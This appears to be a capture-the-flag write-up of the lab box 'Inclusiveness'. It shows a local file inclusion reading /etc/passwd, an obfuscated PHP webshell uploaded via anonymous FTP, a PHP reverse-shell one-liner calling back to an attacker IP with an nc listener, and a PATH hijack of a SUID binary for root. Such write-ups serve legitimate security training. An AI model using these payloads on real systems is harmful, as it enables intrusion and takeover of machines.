Home [h4] Proving Grounds Play Vulnhub Inclusiveness
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[h4] Proving Grounds Play Vulnhub Inclusiveness

Posted Oct 31, 2022
By H4
11 min read

Details
This box was customized by Offensive Security and integrated in the ‘proving grounds’ lab.
In the following you see the solution of the ‘proving grounds’ version.

discovery

Starting with a simple nmap scan to identify the attack surface of the target.

nmap

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$ nmap -Pn -sV 192.168.124.14
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-09 10:28 EST
Nmap scan report for 192.168.124.14
Host is up (0.10s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds

FTP (port 21)

Anonymous access allowed and file write is possible.

SSH (port 22)

No vulnerabilities identified.

web server (port 80)

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$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.124.14/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.124.14/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/09 10:32:09 Starting gobuster in directory enumeration mode
===============================================================
/manual               (Status: 301) [Size: 317] [--> http://192.168.124.14/manual/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.124.14/javascript/]
/robots.txt           (Status: 200) [Size: 59]                                         
                                                                                       
===============================================================
2022/01/09 10:46:58 Finished
===============================================================

robots.txt revealed

exploitation

robots.txt

Let us first have a look what the content of the robots.txt is.

request

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GET /robots.txt HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

response

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HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 15:47:53 GMT
Server: Apache/2.4.38 (Debian)
Vary: User-Agent
Last-Modified: Sat, 08 Feb 2020 03:40:29 GMT
ETag: "3b-59e084481655e"
Accept-Ranges: bytes
Content-Length: 59
Connection: close
Content-Type: text/html

You are not a search engine! You can't read my robots.txt!

It seems that the server is checking if we are a search engine.

In the next step we try to access the robots.txt file with different user-agent parameters to check if one of them is a valid search engine.

identifying a valid (search engine) user-agent string

List of search engine user-agent strings from Google.

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Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
msnbot/2.0b (+http://search.msn.com/msnbot.htm)
msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)
Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko BingPreview/1.0b
DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)
Googlebot/2.1 (+http://www.googlebot.com/bot.html)
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Googlebot/2.1 (+http://www.google.com/bot.html)
Googlebot-News
Googlebot-Image/1.0
Googlebot-Video/1.0
SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)
DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
[various mobile device types] (compatible; Mediapartners-Google/2.1; +http://www.google.com/bot.html)
Mediapartners-Google
AdsBot-Google (+http://www.google.com/adsbot.html)
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexDirectDyn/1.0; +http://yandex.com/bots
Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexVideo/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexMedia/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexBlogs/0.99; robot; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexFavicons/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexWebmaster/2.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexPagechecker/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexImageResizer/2.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YaDirectFetcher/1.0; Dyatel; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexCalendar/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexSitelinks; Dyatel; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexMetrika/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexVertis/3.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; +http://yandex.com/bots)

Used burp intruder to identify a valid string. Alternatively you can use free tools like wfuzz to perform this task.

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

requesting robots.txt content

request

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GET /robots.txt HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

response

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HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 15:56:50 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Sat, 08 Feb 2020 03:26:11 GMT
ETag: "2d-59e08115bb1ef"
Accept-Ranges: bytes
Content-Length: 45
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /secret_information/

So, there is a hidden folder namend /secret_information. Let us request the content.

requesting /secret_information/

request

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GET /secret_information/ HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: asd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

response

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HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 15:57:38 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 1477
Connection: close
Content-Type: text/html; charset=UTF-8

<title>zone transfer</title>

<h2>DNS Zone Transfer Attack</h2>

<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
...

The response tells us that there is a parameter named lang available which is used to include a php file. In the following we try to exploit this by testing for a local file inclusion (lfi)

test for directory traversal and lfi

request

payload: /etc/passwd

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GET /secret_information/?lang=/etc/passwd HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: asd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

response

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HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 15:59:23 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 2191
Connection: close
Content-Type: text/html; charset=UTF-8

<title>zone transfer</title>

<h2>DNS Zone Transfer Attack</h2>

<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi-autoipd:x:107:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
avahi:x:113:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:114:121::/var/lib/saned:/usr/sbin/nologin
colord:x:115:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:116:123::/var/lib/geoclue:/usr/sbin/nologin
tom:x:1000:1000:Tom,,,:/home/tom:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:118:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

Directory traversal vulnerability confirmed!

Now let us test if it is also possible to load a PHP file and get it interpreted by trying a webshell upload.

escalating to a web shell

uploading a webshell via anonymous ftp access

We now upload the following webshell to the ftp service we identified in our discovery phase where anonymous access is allowed.

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<?php

$pass = "9cdfb439c7876e703e307864c9167a15"; //lol 

$A = chr(0x73);
$B = chr(0x79);
$X = chr(0x74);
$D = chr(0x65);
$E = chr(0x6d);

$hook = $A.$B.$A.$X.$D.$E;

if($pass == md5($_POST['password']))
{
  $hook($_POST['cmd']);
}
else
{
  die();
}

?>

When uploading to a vsftpd 3.0.3 server the default upload folder is /var/ftp/pub/ (Linux)

trigger the web shell

payload: /var/ftp/pub/shell.php&cmd=whoami&password=lol

request

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POST /secret_information/ HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: asd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

lang=/var/ftp/pub/shell.php&cmd=whoami&password=lol

response

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HTTP/1.1 200 OK
Date: Sun, 09 Jan 2022 16:05:14 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 155
Connection: close
Content-Type: text/html; charset=UTF-8

<title>zone transfer</title>

<h2>DNS Zone Transfer Attack</h2>

<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>

www-data

Yay! Shell!

getting a reverse shell

payload: php -r '$sock=fsockopen("192.168.49.124",445);exec("/bin/sh -i <&3 >&3 2>&3");'

start listener on the attacker machine

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nc -lvp 445
listening on [any] 445 ...

trigger reverse connection

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POST /secret_information/ HTTP/1.1
Host: 192.168.124.14
Upgrade-Insecure-Requests: 1
User-Agent: asd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

lang=/var/ftp/pub/shell.php&cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%34%39%2e%31%32%34%22%2c%34%34%35%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27txt
&password=lol

catch connect from target

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nc -lvp 445
listening on [any] 445 ...
192.168.124.14: inverse host lookup failed: Unknown host
connect to [192.168.49.124] from (UNKNOWN) [192.168.124.14] 52638
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

get first flag

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nc -lvp 445
listening on [any] 445 ...
192.168.124.14: inverse host lookup failed: Unknown host
connect to [192.168.49.124] from (UNKNOWN) [192.168.124.14] 52638
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home/tom
$ cat local.txt
e******************************3

post exploitation

get root

review /home/tom folder content

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$ ls -lsah
total 104K
4.0K drwxr-xr-x 15 tom  tom  4.0K Jan 10 01:24 .
4.0K drwxr-xr-x  3 root root 4.0K Feb  8  2020 ..
4.0K -rw-------  1 tom  tom   684 Feb  8  2020 .ICEauthority
   0 -rw-r--r--  1 root root    0 Jul 16  2020 .bash_history
4.0K -rw-r--r--  1 tom  tom   220 Feb  8  2020 .bash_logout
4.0K -rw-r--r--  1 tom  tom  3.5K Feb  8  2020 .bashrc
4.0K drwx------ 10 tom  tom  4.0K Feb  8  2020 .cache
4.0K drwx------ 10 tom  tom  4.0K Feb  8  2020 .config
4.0K drwx------  3 tom  tom  4.0K Feb  8  2020 .gnupg
4.0K drwx------  3 tom  tom  4.0K Feb  8  2020 .local
4.0K -rw-r--r--  1 tom  tom   807 Feb  8  2020 .profile
4.0K drwx------  2 tom  tom  4.0K Feb  8  2020 .ssh
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Desktop
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Documents
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Downloads
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Music
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Pictures
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Public
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Templates
4.0K drwxr-xr-x  2 tom  tom  4.0K Feb  8  2020 Videos
4.0K -rw-r--r--  1 root root   33 Jan 10 01:24 local.txt
 20K -rwsr-xr-x  1 root root  17K Feb  8  2020 rootshell
4.0K -rw-r--r--  1 tom  tom   448 Feb  8  2020 rootshell.c

rootshell has the SUID flag set what means it gets executed by the user the file owns and not by the user executing it.

Source code of rootshell is available.

exploit rootshell to gain root access

test execute

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$ ./rootshell
checking if you are tom...
you are: www-data

We somehow need to fake our current user.

source code of rootshell

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#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
	setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}

Program checks if the current user is tom. if this is the case the pogram allows to execute commands with root privileges.
As we are www-data data we first need to be tom or make the program believe we are tom.
The program just performs a whoami command and reads the response.

As the program does not execute whoami from its absolute path, we can create a program which prints tom, call it whoami and adding the folder where it is stored (e.g. tmp) in front of the $PATH variable.

create the fake whoami

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$ cd /tmp
$ print "printf 'tom'" > whoami
$ chmod +x whoami

add the fake whoami at the beginning of the current path environment

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$ export PATH=/tmp:$PATH

execute rootshell and get the second flag

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$ cd /home/tom
$ ./rootshell
checking if you are tom...
you are: tom
access granted.
# cd /root
cd /root
# ls
ls
flag.txt  proof.txt
# cat proof.txt
cat proof.txt
c*******************************b

Pwned! <@:-)

This post is licensed under CC BY 4.0 by the author.
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